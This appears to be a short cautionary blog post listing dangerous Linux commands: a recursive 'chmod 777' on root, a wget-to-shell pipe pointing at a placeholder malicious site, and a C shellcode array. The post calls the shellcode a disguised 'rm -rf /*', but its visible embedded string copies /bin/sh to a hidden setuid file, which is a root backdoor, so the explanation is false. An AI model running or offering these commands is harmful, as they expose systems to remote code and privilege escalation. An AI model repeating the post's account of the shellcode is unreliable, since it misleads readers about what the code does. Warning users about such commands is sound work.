chmod -R 777/ – the command for those who have nothing to hide

chmod -R 777/ opens access to all files located in the root partition. This is not very good, since after executing the command, any user has the rights to read, write and execute any files.

If you like to take risks, launch wget http://вредоносный_сайт -O-|sh

A command that allows you to download and execute a script taken from a website on the Internet.

In this case, if the script turns out to be malicious, then the security of the entire user’s system will be at risk, because the command will execute it with root rights, without even asking for permission to execute.

Finally, the most unusual thing is the disguised rm-rf /*

Linux allows you to run commands in the terminal in a variety of ways. One of them is entering a command in hexadecimal code.

Example:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p

release */

= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”

“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”

“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”

“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”

“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”

“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”

“\x6e\x2f\x73\x68\x00\x2d\x63\x00”

“cp -p /bin/sh /tmp/.beyond; chmod 4755

/tmp/.beyond;”;

Despite the unusual appearance, this command is hexadecimal rm -rf/*. So be careful copying unusual commands!

nationalphilanth

Learn More →